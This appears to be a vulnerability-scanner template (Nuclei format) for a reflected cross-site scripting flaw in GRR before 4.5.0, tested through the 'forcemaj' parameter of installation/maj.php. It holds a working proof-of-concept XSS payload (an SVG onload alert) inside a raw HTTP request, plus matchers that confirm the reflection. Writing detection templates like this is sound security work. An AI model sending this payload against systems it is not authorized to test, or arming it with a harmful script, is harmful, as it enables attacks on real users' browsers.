id: CVE-2026-58205

info:
  name: "GRR < 4.5.0 - Reflected Cross-Site Scripting (maj.php forcemaj)"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    GRR (Gestion et Reservation de Ressources) before 4.5.0 reflects the
    'forcemaj' request parameter in the installation/update script
    installation/maj.php without adequate output escaping when the installation
    files remain accessible (their removal is not automatic). The value of
    forcemaj is assigned to $version_depart and echoed directly into the HTML
    response, so an unauthenticated attacker can craft a URL that executes
    arbitrary JavaScript in a victim's browser. This template requests
    installation/maj.php with an inert marker payload in forcemaj and confirms the
    issue when the payload is reflected unencoded in an HTML (text/html) 200
    response.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-58205&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=grr&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cve-id: CVE-2026-58205
    cwe-id: CWE-79
  metadata:
    verified: false
  tags: cve,cve2026,xss,grr,reflected

http:
  - raw:
      - |
        GET /installation/maj.php?forcemaj=vedasINJ58205%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "vedasINJ58205\"><svg/onload=alert(document.domain)>"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200